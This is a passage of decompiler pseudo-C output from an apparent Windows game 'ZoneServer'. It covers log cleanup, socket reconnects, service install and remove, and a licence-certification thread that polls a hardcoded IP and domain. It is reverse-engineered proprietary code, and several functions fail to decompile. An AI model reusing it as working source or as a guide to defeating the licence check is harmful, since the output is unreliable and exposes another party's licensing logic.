= FindFirstFileA(path, &FindData); if ( v9 != (HANDLE)-1 ) { v10 = strlen(v16); v11 = &FindData.cFileName[v10 + 4]; v12 = &FindData.cFileName[v10 + 5]; do { v13 = *v12 + 10 * *v11 - 528; if ( v13 != v3 ) { if ( v13 != lastmonth ) DeleteFileA(FindData.cFileName); } } while ( FindNextFileA(v9, &FindData) ); FindClose(v9); v1 = v17; } result = k + 1; v1 -= 128; v15 = __OFSUB__(k + 1, erasenum); v14 = k++ + 1 - erasenum < 0; v17 = v1; v16 += 128; } while ( v14 ^ v15 ); } return result; } // 67A3DC: using guessed type __int16 word_67A3DC; //----- (00575F20) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 17) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 17); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00575F80) -------------------------------------------------------- WinService *__cdecl Singleton::getInstance() { WinService *result; // eax@1 void *v1; // eax@2 int v2; // eax@3 void *v3; // [sp+0h] [bp-10h]@2 result = (WinService *)Singleton::selfInstance; if ( !Singleton::selfInstance ) { v1 = operator new(0x44u); v3 = v1; if ( v1 ) WinService::WinService((WinService *)v1); else v2 = 0; Singleton::selfInstance = v2; (**(void (__cdecl ***)(_DWORD))v2)(v3); result = (WinService *)Singleton::selfInstance; } return result; } // 131DB450: using guessed type int Singleton_WinService___selfInstance; //----- (00575FF0) -------------------------------------------------------- void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere) { signed int v4; // ebp@1 char *v5; // edi@1 DebugLogging *v6; // eax@5 DebugLogging *v7; // esi@5 _iobuf *v8; // eax@7 DebugLogging *v9; // eax@12 char *v10; // [sp-8h] [bp-18h]@10 v4 = 0; v5 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { if ( *((_DWORD *)v5 + 63) > clockwatch.cw_CurrTick ) return; v5[256] = 0; v6 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v7 = DebugLogging::operator<<(v6, " Socket cut - try reconnect "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, " : reconnect "); if ( ZoneServer::zs_ServerConnect(zone, (ZoneBaseSession *)(v5 - 4), towhere, 1) ) v10 = "success"; else v10 = (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[4].mts_AggroPoint; v9 = DebugLogging::operator<<(&SocketMultiplicateLog, v10); DebugLogging::operator<<(v9, &deb_LF); } ++v4; v5 += 264; } while ( v4 < 4 ); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (005760E0) -------------------------------------------------------- void __thiscall SleepManager::sm_Sleep(SleepManager *this) { SleepManager *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Sleep"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Sleep"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Sleep(1u); v1->sm_LoopNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Sleep"); } //----- (00576150) -------------------------------------------------------- void __thiscall SleepManager::sm_Routine(SleepManager *this) { SleepManager *v1; // esi@1 int v2; // eax@1 int v3; // edx@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->sm_PacketNumber; if ( v1->sm_MaxPacketInLoop < v1->sm_PacketNumber ) v1->sm_MaxPacketInLoop = v2; v3 = v1->sm_LoopNumber; if ( 2500 * v2 / v1->sm_MaxPacketInLoop >= v3 * v3 ) v1->sm_LoopNumber = v3 + 1; else SleepManager::sm_Sleep(v1); v1->sm_PacketNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Routine"); } //----- (00576220) -------------------------------------------------------- void __thiscall ZoneServer::_ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 v1 = this; ClientSessionManager::_ClientSessionManager(&this->zs_clientsessionmanager); CSocket_Acceptor::_CSocket_Acceptor(&v1->zs_Acceptor); CIOCP::_CIOCP(&v1->zs_IOCP); CCsl::_CCsl((CCsl *)&v1->zs_serverinfo); } //----- (00576290) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_ServiceThread.stop = 0; this->zs_ServiceThread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_ServiceThreadFunction, this, 0, &this->zs_ServiceThread.id); v1->zs_ServiceThread.handle = v2; if ( v2 ) { while ( v1->zs_ServiceThread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (005762E0) -------------------------------------------------------- int __cdecl ZoneServer_zs_service_acceptor(lua_State *L) { int v1; // eax@1 v1 = (unsigned __int8)ZoneServer::zs_Start_Acceptor(g_ZoneServer); if ( !(_BYTE)v1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : Acceptor fail", v1); ShineExit("ZoneServer_zs_service_acceptor"); } return 0; } //----- (00576320) -------------------------------------------------------- int __cdecl ZoneServer_zs_service_iocp(lua_State *L) { ZoneServer *v1; // esi@1 struct _SYSTEM_INFO SystemInfo; // [sp+4h] [bp-24h]@1 v1 = g_ZoneServer; GetSystemInfo(&SystemInfo); CIOCP::Start(&v1->zs_IOCP, 2 * SystemInfo.dwNumberOfProcessors + 1, 1); return 0; } //----- (00576360) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_stackcheck.stop = 0; this->zs_stackcheck.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_stackcheckfunc, this, 0, &this->zs_stackcheck.id); v1->zs_stackcheck.handle = v2; if ( v2 ) { while ( v1->zs_stackcheck.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (005763B0) -------------------------------------------------------- #error "5763B0: undefined or illegal type '#593' (funcsize=193)" //----- (00576650) -------------------------------------------------------- bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 signed int v3; // esi@1 char *v4; // eax@1 String *v5; // edi@2 const char *v6; // edi@5 const char *v7; // ebx@5 WinService *v8; // ebp@5 int v9; // eax@9 const char *v10; // esi@17 bool result; // al@20 String v12; // [sp-30h] [bp-4F0h]@9 String v13; // [sp-20h] [bp-4E0h]@9 String v14; // [sp-10h] [bp-4D0h]@9 LPCSTR v15; // [sp-4h] [bp-4C4h]@17 String *v16; // [sp+10h] [bp-4B0h]@1 String cmd_UPLOAD; // [sp+14h] [bp-4ACh]@1 LPCSTR pMsg; // [sp+24h] [bp-49Ch]@14 int v19; // [sp+28h] [bp-498h]@14 int v20; // [sp+2Ch] [bp-494h]@14 int v21; // [sp+30h] [bp-490h]@14 int v22; // [sp+34h] [bp-48Ch]@14 int v23; // [sp+38h] [bp-488h]@14 int QueryResult; // [sp+3Ch] [bp-484h]@6 String *v25; // [sp+40h] [bp-480h]@9 String cmd_REMOVE; // [sp+44h] [bp-47Ch]@1 String *v27; // [sp+54h] [bp-46Ch]@9 String command[5]; // [sp+58h] [bp-468h]@1 unsigned __int8 delimit[4]; // [sp+A8h] [bp-418h]@1 char v30; // [sp+ACh] [bp-414h]@1 char moduleName[1024]; // [sp+B0h] [bp-410h]@5 unsigned int v32; // [sp+4B0h] [bp-10h]@1 int v33; // [sp+4BCh] [bp-4h]@1 v2 = this; v32 = (unsigned int)&v16 ^ __security_cookie; String::String(&cmd_UPLOAD, "UPLOAD"); v33 = 0; String::String(&cmd_REMOVE, "REMOVE"); LOBYTE(v33) = 1; _eh_vector_constructor_iterator_( command, 0x10u, 5, (void (__thiscall *)(void *))String::String, (void (__thiscall *)(void *))String::_String); LOBYTE(v33) = 2; *(_DWORD *)delimit = *(_DWORD *)" \t,\""; v30 = byte_67A584; v3 = 0; v4 = _mbstok(cmdLine, (const char *)delimit); if ( v4 ) { v5 = command; do { if ( v3 >= 5 ) break; String::operator_(v5, v4); ++v3; ++v5; v4 = _mbstok(0, (const char *)delimit); } while ( v4 ); } v6 = *(const char **)&v2->gap50[1256]; v7 = *(const char **)&v2->gap50[1260]; v8 = Singleton::getInstance(); GetModuleFileNameA(0, moduleName, 0x400u); if ( v3 < 1 ) { if ( WinService::queryServiceStatus(v8, (unsigned int *)&QueryResult, 0, v6) ) { v9 = 0; goto checkval; } String::operator_(command, &cmd_UPLOAD); } String::makeUpper(command); if ( operator__(command, &cmd_UPLOAD) ) { v27 = &v14; String::String(&v14, moduleName); v25 = &v13; LOBYTE(v33) = 3; String::String(&v13, v7); v16 = &v12; LOBYTE(v33) = 4; String::String(&v12, v6); LOBYTE(v33) = 2; v9 = (WinService::uploadService(v8, v12, v13, v14) == 0) + 1; } else { if ( operator__(command, &cmd_REMOVE) ) { v16 = &v14; String::String(&v14, v6); v9 = 4 - (WinService::removeService(v8, v14) != 0); } else { v9 = 5; } } checkval: pMsg = ""; v19 = (int)""; v20 = (int)""; v21 = (int)""; v22 = (int)""; v23 = (int)""; if ( !v9 ) { v15 = ""; _DebugMessageNew(1, "Msg", "%s"); LABEL_19: LOBYTE(v33) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v33) = 0; String::_String(&cmd_REMOVE); v33 = -1; String::_String(&cmd_UPLOAD); goto LABEL_20; } if ( v9 <= 0 || v9 > 5 ) goto LABEL_19; v15 = (&pMsg)[4 * v9]; v10 = v15; _DebugMessageNew(1, "Msg", "%s"); MessageBoxA(0, v10, v7, 0); LOBYTE(v33) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v33) = 0; String::_String(&cmd_REMOVE); v33 = -1; String::_String(&cmd_UPLOAD); LABEL_20: __security_check_cookie((unsigned int)&v16 ^ v32); return result; } // 67A584: using guessed type char byte_67A584; //----- (00576980) -------------------------------------------------------- void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)this->sb_SocketStr; do { if ( !(**(int (__thiscall ***)(char *, signed int))v3)(v3, 30) ) { ZoneBaseSession::Close((ZoneBaseSession *)v3); *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 64) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[260] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by heartbeat "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00576A80) -------------------------------------------------------- void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v3 == 3 ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Close during SESSION_STATUS_CLOSEING "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00576B80) -------------------------------------------------------- void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone) { char *v3; // edi@1 DebugLogging *v4; // eax@5 DebugLogging *v5; // esi@5 _iobuf *v6; // eax@7 DebugLogging *v7; // esi@9 _iobuf *v8; // eax@11 _iobuf *v9; // eax@16 bool v10; // sf@17 unsigned __int8 v11; // of@17 int k; // [sp+10h] [bp-8h]@1 SocketBundle *v13; // [sp+14h] [bp-4h]@1 v13 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( (*(_DWORD *)v3 == 1 || *(_DWORD *)v3 == 2) && ZoneServer::zs_PacketProcess(zone, flag, (ZoneBaseSession *)(v3 - 4)) ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v13->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by invalid packet "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } if ( DebugLogging::dl_ActivAll && v7->dl_Activ ) { if ( v7->dl_FilePointer ) { v9 = DebugLogging::dl_FilePoint(v7); fputc(10, v9); fflush(v7->dl_FilePointer); fclose(v7->dl_FilePointer); v7->dl_FilePointer = 0; } } } } v3 += 264; v11 = __OFSUB__(k + 1, 4); v10 = k++ - 3 < 0; } while ( v10 ^ v11 ); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00576D00) -------------------------------------------------------- void __thiscall ZoneServer::ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->zs_serverinfo; CServerInfo::CServerInfo((CServerInfo *)&this->zs_serverinfo); *((_DWORD *)v2 + 326) = 0; *((_DWORD *)v2 + 325) = 0; *((_DWORD *)v2 + 324) = 0; *((_DWORD *)v2 + 323) = 0; CIOCP::CIOCP(&v1->zs_IOCP); CSocket_Acceptor::CSocket_Acceptor(&v1->zs_Acceptor); ClientSessionManager::ClientSessionManager(&v1->zs_clientsessionmanager); } //----- (00576D90) -------------------------------------------------------- int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 int v3; // eax@1 char v4; // cl@2 int i; // eax@3 _iobuf *v6; // esi@6 int v7; // eax@9 int v8; // edi@20 WinService *v9; // eax@22 int result; // eax@23 String v11; // [sp-18h] [bp-448h]@22 char *v12; // [sp-Ch] [bp-43Ch]@22 const char *v13; // [sp-8h] [bp-438h]@22 size_t v14; // [sp-4h] [bp-434h]@6 String *v15; // [sp+10h] [bp-420h]@1 char worldname; // [sp+14h] [bp-41Ch]@20 char *v17; // [sp+1Ch] [bp-414h]@22 char fileName[1024]; // [sp+20h] [bp-410h]@1 unsigned int v19; // [sp+420h] [bp-10h]@1 int v20; // [sp+42Ch] [bp-4h]@22 v19 = (unsigned int)&v15 ^ __security_cookie; v2 = this; GetModuleFileNameA(0, fileName, 0x400u); v3 = (int)fileName; do v4 = *(_BYTE *)v3++; while ( v4 ); for ( i = v3 - (_DWORD)&fileName[1] - 1; i >= 0; --i ) { if ( fileName[i] == 92 ) break; } v14 = (size_t)fileName; fileName[i] = 0; _chdir((const char *)v14); ShineObjectClass::ShineObject::so_Initstaticvar(); v6 = fopen("../9Data/ServerInfo/_ServerGroup.txt", "r"); if ( v6 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup.txt", 0); ShineExit("ZoneServer::zs_start"); } v14 = (size_t)&v2->gap50[1292]; v7 = fscanf(v6, "%s"); v15 = (String *)(v7 == 1); if ( v7 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup", 0); ShineExit("ZoneServer::zs_start"); } fclose(v6); if ( !CServerInfo::ReadServerInfo((CServerInfo *)&v2->zs_serverinfo, "ZoneServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); if ( !CServerInfo::ReadServerInfo((CServerInfo *)&v2->zs_serverinfo, "../9Data/ServerInfo/ZoneServerInfo.txt") ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ZoneServerInfo.txt", 0); ShineExit("ZoneServer::zs_start"); } } if ( !CServerInfo::GetMyServerInfo((CServerInfo *)&v2->zs_serverinfo, (CServerInfo::MY_SERVER *)&v2->gap50[1256]) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail Serverinfo", 0); ShineExit("ZoneServer::zs_start"); } if ( ZoneServer::ParseCmd(v2, cmdLine) ) { v8 = *(_DWORD *)&v2->gap50[1268]; if ( CServerInfo::GetWorldName((CServerInfo *)&v2->zs_serverinfo, v8, (CServerInfo::WORLD_NAME *)&worldname) ) { v14 = 16; v13 = v17; v12 = &v2->gap50[1276]; *(_DWORD *)&v2->gap50[1288] = 0; *(_DWORD *)&v2->gap50[1284] = 0; *(_DWORD *)&v2->gap50[1280] = 0; *(_DWORD *)&v2->gap50[1276] = 0; strncpy(v12, v13, v14); v14 = (size_t)OnStop_Service; v13 = (const char *)OnStart_Service; v15 = &v11; String::String(&v11, "ZoneServer"); v20 = 0; v9 = Singleton::getInstance(); v20 = -1; WinService::startDispatcher(v9, v11, (bool (__cdecl *)())v13, (void (__cdecl *)())v14); } else { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Cannot found WorldName", v8); } } __security_check_cookie((unsigned int)&v15 ^ v19); return result; } //----- (00576FE0) -------------------------------------------------------- int __cdecl ZoneServer_zs_service_stackchecker(lua_State *L) { int v1; // eax@1 v1 = (unsigned __int8)ZoneServer::zs_Start_StackChecker(g_ZoneServer); if ( !(_BYTE)v1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : StackCheck fail", v1); ShineExit("ZoneServer_zs_service_stackchecker"); } return 0; } //----- (00577020) -------------------------------------------------------- bool __cdecl ZoneServer::zs_CertifyRoutine(char *addr, int port) { int v2; // esi@2 const char *v3; // eax@2 bool v4; // sf@7 unsigned __int8 v5; // of@7 bool result; // al@8 int k; // [sp+Ch] [bp-84h]@1 int skip; // [sp+10h] [bp-80h]@5 int rec; // [sp+14h] [bp-7Ch]@6 int intval; // [sp+18h] [bp-78h]@4 int nationname; // [sp+1Ch] [bp-74h]@2 char content; // [sp+20h] [bp-70h]@2 char *string; // [sp+24h] [bp-6Ch]@2 unsigned int v14; // [sp+38h] [bp-58h]@2 char buffer[64]; // [sp+40h] [bp-50h]@2 unsigned int v16; // [sp+80h] [bp-10h]@1 int v17; // [sp+8Ch] [bp-4h]@2 v16 = (unsigned int)&k ^ __security_cookie; k = 0; while ( 1 ) { CServerInfo::GetNationName(&stru_14B97FD8, (CServerInfo::NATION_NAME *)&nationname); sprintf(buffer, "%d"); std::basic_string_std::allocator>::basic_string_std::allocator>((std::basic_string,std::allocator > *)&content); v17 = 0; HTTPString::hs_HTMMRead((HTTPString *)&content, addr, port, buffer, unk_14B984DC, unk_14B984E0, (char *)nationname); v2 = dword_14BC43FC * (dword_14BC43FC * (2 * dword_14BC43FC - 3) + 5) - 7; v3 = string; if ( v14 < 0x10 ) v3 = (const char *)&string; sscanf(v3, "[%d][%d]%d"); if ( intval > 0 ) { if ( skip > 0 && rec == v2 ) break; } v17 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&content); v5 = __OFSUB__(k + 1, 1); v4 = k++ < 0; if ( !(v4 ^ v5) ) goto LABEL_8; } dword_14BC43F0 = skip; dword_14BC43EC = intval; v17 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&content); LABEL_8: __security_check_cookie((unsigned int)&k ^ v16); return result; } // 14BC43EC: using guessed type int dword_14BC43EC; // 14BC43F0: using guessed type int dword_14BC43F0; // 14BC43FC: using guessed type int dword_14BC43FC; //----- (00577190) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_certification(void *param) { *((_BYTE *)param + 48) = 1; *((_BYTE *)param + 49) = 0; *((_DWORD *)param + 15) = 0; do { if ( dword_14BC43FC ) { if ( ZoneServer::zs_CertifyRoutine("1.234.50.125", 49851) || ZoneServer::zs_CertifyRoutine("program.onson.co.kr", 80) ) dword_14BC43F8 = 0; else ++dword_14BC43F8; dword_14BC43FC = 0; ++g_LuaArgument.Count; } Sleep(0x2710u); } while ( !*((_BYTE *)param + 49) ); *((_BYTE *)param + 16) = 0; return 0; } // 14BC43E8: using guessed type struct LuaArgument g_LuaArgument; // 14BC43F8: using guessed type int dword_14BC43F8; // 14BC43FC: using guessed type int dword_14BC43FC; //----- (00577220) -------------------------------------------------------- #error "577220: undefined or illegal type '#593' (funcsize=137)" //----- (00577410) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00577450) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x14u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00577490) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_Certification(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_Certify.stop = 0; this->zs_Certify.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_certification, this, 0, &this->zs_stackcheck.id); v1->zs_Certify.handle = v2; if ( v2 ) { while ( v1->zs_Certify.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (005774E0) -------------------------------------------------------- int __cdecl ZoneServer_zs_service_certification(lua_State *L) { int v1; // eax@1 v1 = (unsigned __int8)ZoneServer::zs_Start_Certification(g_ZoneServer); if ( !(_BYTE)v1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : Certification fail", v1); ShineExit("ZoneServer_zs_service_certification"); } return 0; } //----- (00577520) -------------------------------------------------------- #error "577520: undefined or illegal type '#593' (funcsize=566)" //----- (00577DC0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_mainthread.stop = 0; this->zs_mainthread.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_mainthreadfunction, this, 0, &this->zs_mainthread.id); v1->zs_mainthread.handle = v2; if ( v2 ) { while ( v1->zs_mainthread.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (00577E10) -------------------------------------------------------- int __cdecl ZoneServer_zs_service_mainthread(lua_State *L) { int v1; // eax@1 v1 = (unsigned __int8)ZoneServer::zs_Start_MainThread(g_ZoneServer); if ( !(_BYTE)v1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_servicestart : MainThread fail", v1); ShineExit("ZoneServer_zs_service_mainthread"); } return 0; } //----- (00577E50) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( 